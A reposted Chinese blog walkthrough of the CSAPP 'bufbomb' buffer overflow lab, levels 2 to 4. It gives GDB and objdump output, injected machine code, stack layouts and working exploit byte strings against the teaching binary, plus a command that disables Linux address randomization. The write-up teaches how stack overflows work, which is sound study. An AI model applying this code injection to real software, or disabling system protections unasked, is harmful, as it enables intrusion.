CSAPP缓冲区溢出攻击实验(下)

来源:互联网 发布:ping 的端口 编辑:程序博客网 时间:2024/05/16 17:55

CSAPP缓冲区溢出攻击实验(下)

3.3 Level 2: 爆竹

实验要求

这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值。若修改了.bss和.text之间某些只读的段会引起操作系统的“警觉”而报错。所以在进入bang()之前我们需要执行一小段我们自己的代码去修改global_value,这一段代码就叫做 exploit code

int global_value = 0;void bang(int val){    if (global_value == cookie) {        printf("Bang!: You set global_value to 0x%x\n", global_value);        validate(2);    } else        printf("Misfire: global_value = 0x%x\n", global_value);    exit(0);}

第一步:bang()和global_value地址

我们驾轻就熟地得到bang()的入口地址0x08048e10,以及global_value的地址0x0804a1c4。

[root@vm bufbomb]$ objdump -t exploitcode | grep -e bang -e global_value080483b9 g     F .text  0000001d              bang080495bc g     O .bss   00000004              global_value

第二步:运行时的栈地址

获得栈地址,从而知道我们注入代码的位置。方法就是为函数getbuf加断点,发现GDB会把断点加到0x8048ad6并停在这里,看下反汇编代码就能发现,0x8048ad6就是getbuf()执行完常规的三条指令(%ebp压栈、%ebp移动到%esp位置、移动%esp分配栈空间)之后的地方。现在就用info registers拿到我们最关心的栈地址%ebp=0xbfffb538:

[root@vm bufbomb]$ objdump -d bufbomb | grep -A 15 "<getbuf>:"08048ad0 <getbuf>: 8048ad0:       55                      push   %ebp 8048ad1:       89 e5                   mov    %esp,%ebp 8048ad3:       83 ec 28                sub    $0x28,%esp 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax 8048ad9:       89 04 24                mov    %eax,(%esp) 8048adc:       e8 df fe ff ff          call   80489c0 <Gets> 8048ae1:       c9                      leave   8048ae2:       b8 01 00 00 00          mov    $0x1,%eax 8048ae7:       c3                      ret     8048ae8:       90                      nop 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi[root@vm bufbomb]$ gdb bufbomb GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)Copyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.  Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-redhat-linux-gnu".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...Reading symbols from /root/Temp/bufbomb/bufbomb...done.(gdb) b getbufBreakpoint 1 at 0x8048ad6(gdb) run -t cdaiStarting program: /root/Temp/bufbomb/bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eBreakpoint 1, 0x08048ad6 in getbuf ()Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.149.el6_6.4.i686(gdb) info registerseax            0xbfffb520       -1073760992ecx            0x0      0edx            0x8910d0 8982736ebx            0x0      0esp            0xbfffb510       0xbfffb510ebp            0xbfffb538       0xbfffb538esi            0x804b018        134524952edi            0xffffffff       -1eip            0x8048ad9        0x8048ad9 <getbuf+9>eflags         0x282    [ SF IF ]cs             0x73     115ss             0x7b     123ds             0x7b     123es             0x7b     123fs             0x0      0gs             0x33     51

第三步:exploit代码的机器指令

为了避免手写机器指令出错,我们写一小段C和汇编程序,编译后提取出编译器为我们生成好的机器指令。其中movl $0x5e5ee04e,0x80495bc和call 80483b9两行就是我们想要的:

// exploitcode.c#include <stdio.h>int global_value = 0;void bang(int val);int main(int argc, char const *argv[]){        // Mock exploit code        global_value = 1583276110; //0x5e5ee04e        bang(0);        return 0;}void bang(int val){    printf("%d\n", global_value);}// exploitcode.s        pushl $0x08048e10        ret
[root@vm bufbomb]$ gcc -o exploitcode exploitcode.c[root@vm bufbomb]$ objdump -d exploitcode | grep -A15 "<main>:"08048384 <main>: 8048384:       8d 4c 24 04             lea    0x4(%esp),%ecx 8048388:       83 e4 f0                and    $0xfffffff0,%esp 804838b:       ff 71 fc                pushl  0xfffffffc(%ecx) 804838e:       55                      push   %ebp 804838f:       89 e5                   mov    %esp,%ebp 8048391:       51                      push   %ecx 8048392:       83 ec 04                sub    $0x4,%esp 8048395:       c7 05 bc 95 04 08 4e    movl   $0x5e5ee04e,0x80495bc 804839c:       e0 5e 5e  804839f:       c7 04 24 00 00 00 00    movl   $0x0,(%esp) 80483a6:       e8 0e 00 00 00          call   80483b9 <bang>    ...[root@vm bufbomb]$ gcc -c exploitcode.s[root@vm bufbomb]$ objdump -d exploitcode.o exploitcode.o:     file format elf32-i386Disassembly of section .text:00000000 <.text>:   0:   68 10 8e 04 08          push   $0x8048e10   5:   c3                      ret    

关键技术点

先说一下碰到的问题,都是顺利做出这个实验的关键点:

  1. Linux内存地址随机化:Linux为了保护程序,每次加载都会使用不同的基地址,所以每次用GDB调试进入getbuf()后查看%esp和%ebp都是不同的。%ebp是动态的可就麻烦了!没法知道准确的栈地址怎么让我们注入的代码拿到CPU控制权啊?尝试断点卡在getbuf()时立即去修改exploit字符串也失败了,貌似bufbomb提前加载了它似的。最后没办法,手动关闭掉地址随机化:echo “0” > /proc/sys/kernel/randomize_va_space
  2. call绝对地址:call/jmp默认都是near跳转,使用相对地址。而我们注入的代码是在运行时栈上,要跳转的bang()是在.text段上,二者相隔“十万八千里”,直接计算相对地址的话将会是一个很大的数字。提示里建议:先将bang()地址压入栈,然后用ret指令实现绝对地址跳转,“微操作”啊!
  3. 自动生成机器指令:可以写一小段对应的C代码,但像把bang()地址压入栈后ret这种就没法写出对应的C了。提示里也给出了建议:新建一个.s汇编文件,编写想翻译的汇编后用gcc -c编译,然后objdump反汇编就行了。.s里可以只包含我们想翻译的汇编,不用是完整的代码
  4. GDB调试命令参数:之前一直用cat exploit.raw | ./sendstring | ./bufbomb -t cdai运行,但在GDB里执行run时是不支持管道的。还想调试怎么办?最简单的办法就是把cat exploit.raw | ./sendstring > tmp重定向到临时文件,然后在GDB里run -t cdai < tmp启动调试。

最终exploit字符串

至此,bang()和global_value的地址、运行时栈地址、exploit的机器指令就都有了,万事俱备,接下来就可以构造溢出缓冲区的字节串了:

……………………………………………………………………………………………. 0xbfffb540
Return Address -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> padding 11 22 33 44
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00
……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520

……………………………………………………………………………………………. 0xbfffb510 <- %esp

根据我们的预想,getbuf()调用返回后的栈应该是这个样子,%esp回到调用getbuf()前的位置,而%ebp被损坏,但没关系(一直困惑bang()压入栈时不会报错吗?),最重要的是%eip指向了我们注入的代码起始位置:

……………………………………………………………………………………………. 0x44332211 <- %ebp

……………………………………………………………………………………………. 0xbfba3540 <- %esp

……………………………………………………………………………………………. 0xbfffb537
c3 ret
……………………………………………………………………………………………. 0xbfffb536
68 10 8e 04 08 pushl bang()
……………………………………………………………………………………………. 0xbfffb531
c7 04 24 00 00 00 00 movl $0x0, (%esp)
……………………………………………………………………………………………. 0xbfffb52a
c7 05 c4 a1 04 08 4e e0 5e 5e movl $0x5e5ee04e, global_value
……………………………………………………………………………………………. 0xbfffb520 <- %eip

实验结果

运行一下,真的成功了!做这个实验的感想就是,要是没有Linux内存地址随机化保护的话,还真挺容易利用缓冲区溢出漏洞exploit代码的。但要是buf是全局变量,地址固定的话,是不是Linux也无能为力了呢?

[root@vm bufbomb]$ cat exploit_level_2.rawc705c4a104084ee05e5ec704240000000068108e0408c3001122334420b5ffbf[root@vm bufbomb]$ cat exploit_level_2.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Bang!: You set global_value to 0x5e5ee04eNICE JOB!Sent validation information to grading server

3.4 Level 3: 炸药

前面三个实验都使程序跳转到一个会立刻终止的函数,smoke()、fizz()、bang()都是这样的,所以尽管我们破坏了栈,也没有关系,反正程序不久后就会终止。但对于这一级别的实验就不可行了,在Level 3里,我们将getbuf()的返回值修改为我们的cookie,并“悄无声息”地返回到调用者test()中。

void test(){    int val;    volatile int local = 0xdeadbeef;    val = getbuf();    /* Check for corrupted stack */    if (local != 0xdeadbeef) {        printf("Sabotaged!: the stack has been corrupted\n");    }    else if (val == cookie) {        printf("Boom!: getbuf returned 0x%x\n", val);        validate(3);    }    else {        printf("Dud: getbuf returned 0x%x\n", val);    }}int getbuf(){    char buf[12];    Gets(buf);    return 1;}

仿照上一个实验的三步。首先第一步,我们要找的不是test()的入口地址,而是test()在调用getbuf()之后的那一条指令的地址,0x08048db2。

[root@vm bufbomb]$ objdump -d bufbomb | grep -A20 "<test>:"08048da0 <test>: 8048da0:       55                      push   %ebp 8048da1:       89 e5                   mov    %esp,%ebp 8048da3:       83 ec 18                sub    $0x18,%esp 8048da6:       c7 45 fc ef be ad de    movl   $0xdeadbeef,0xfffffffc(%ebp) 8048dad:       e8 1e fd ff ff          call   8048ad0 <getbuf> 8048db2:       89 c2                   mov    %eax,%edx    ...

第二步,用GDB获得运行时栈地址是0x0xbfffb538,saved %ebp是0x0xbfffb558。

[root@vm bufbomb]$ gdb bufbomb     ...(gdb) b getbufBreakpoint 1 at 0x8048ad6(gdb) run -t cdai < tmpTeam: cdaiCookie: 0x5e5ee04eBreakpoint 1, 0x08048ad6 in getbuf ()(gdb) info reeax            0xc      12ecx            0x0      0edx            0x3760d0 3629264ebx            0x0      0esp            0xbfffb510       0xbfffb510ebp            0xbfffb538       0xbfffb538esi            0x804b018        134524952edi            0xffffffff       -1eip            0x8048ad6        0x8048ad6 <getbuf+6>eflags         0x282    [ SF IF ]cs             0x73     115ss             0x7b     123ds             0x7b     123es             0x7b     123fs             0x0      0gs             0x33     51(gdb) x/18x $sp0xbfffb510:     0x0076e2d8      0x00000000      0x00000000      0x000000000xbfffb520:     0x080484da      0x00000000      0x0804a12c      0xbfffb5640xbfffb530:     0x00374ff4      0x0804b018      0xbfffb558      0x08048db20xbfffb540:     0x00279e83      0x003754c0      0x0804966e      0xbfffb5640xbfffb550:     0xbfffb564      0xdeadbeef

第三步,编译手写汇编代码得到机器指令。

[root@vm bufbomb]$ gcc -c exploitcode_level2.s[root@vm bufbomb]$ cat exploitcode_level2.s         movl $0x5e5ee04e,%eax        pushl $0x08048da0        ret[root@vm bufbomb]$ objdump -d exploitcode_level2.o exploitcode_level2.o:     file format elf32-i386Disassembly of section .text:00000000 <.text>:   0:   b8 4e e0 5e 5e          mov    $0x5e5ee04e,%eax   5:   68 a0 8d 04 08          push   $0x8048da0   a:   c3                      ret    

……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> 20 b5 ff bf 0xbfffb520
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 38 b5 ff bf 0xbfffb538
……………………………………………………………………………………………. 0xbfffb538 <- %ebp
padding 00112233445566
……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520

……………………………………………………………………………………………. 0xbfffb510 <- %esp

关键技术点

  1. 必须重利用0xbfffb538和0xbfffb53c位置来保存test()的Saved %ebp和Return address,这样我们exploit代码执行leave和ret时,就像又“重播”了getbuf()里的leave和ret一样,这样才能不被察觉地返回到test()中!
  2. push压栈修改的是%esp而非%ebp

A.刚跳转到exploit代码时的栈

……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit)
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp
……………………………………………………………………………………………. 0xbfffb538 <- %ebp

……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f
68 58 b5 ff bf pushl saved %ebp
……………………………………………………………………………………………. 0xbfffb52a
68 b2 8d 04 08 pushl next instruction in test()
……………………………………………………………………………………………. 0xbfffb525
b8 4e e0 5e 5e movl $0x5e5ee04e, %eax
……………………………………………………………………………………………. 0xbfffb520 <- %eip

B.压入test()的return地址和%ebp后的栈

……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538 <- %ebp/%esp

……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530
c9 leave
……………………………………………………………………………………………. 0xbfffb52f <- %eip

C.执行leave还原%ebp和%esp后的栈

leave相当于 mov %ebp,%esp 并且 pop %ebp。

……………………………………………………………………………………………. 0xbfffb558 <- %ebp

……………………………………………………………………………………………. 0xbfffb540
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c <- %esp
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538

……………………………………………………………………………………………. 0xbfffb531
c3 ret
……………………………………………………………………………………………. 0xbfffb530 <- %eip

D.执行ret跳转回test()后的栈

ret相当于 pop %eip。

……………………………………………………………………………………………. 0xbfffb558 <- %ebp

……………………………………………………………………………………………. 0xbfffb540 <- %esp
Return Address(exploit) -> b2 8d 04 08
……………………………………………………………………………………………. 0xbfffb53c
Saved %ebp -> 58 b5 ff bf
……………………………………………………………………………………………. 0xbfffb538

89 c2 mov %eax,%edx
……………………………………………………………………………………………. 0x08048db2 <- %eip

运行一下,成功了!

[root@vm bufbomb]$ cat exploit_level_3.raw b84ee05e5e68b28d04086858b5ffbfc9c30011223344556638b5ffbf20b5ffbf[root@vm bufbomb]$ cat exploit_level_3.raw | ./sendstring | ./bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eType string:Boom!: getbuf returned 0x5e5ee04eNICE JOB!Sent validation information to grading server

3.5 Level 4: 硝化甘油

讲义上说了,完成Level 0到3就已经是100分了!这最终Level的挑战就是解决前面遇到过的,运行时栈地址会变化的问题。CMU说这里给出的方法不稳定,有时奏效有时segfault,标题里的一种不稳定的炸药-“硝化甘油”正是暗喻了这种攻击方法的不稳定。用bufbomb的-n参数进入Level 4模式,此时程序不会调用getbuf()而是其升级版getbufn():

int getbufn(){    char buf[512];    Gets(buf);    return 1;}

getbufn()的调用者会使用alloca库函数随机分配栈空间,然后连续调用getbufn()五次。我们的任务与上一Level完全相同,就是保证getbufn()每次都返回我们的cookie而不是1。

1 1
原创粉丝点击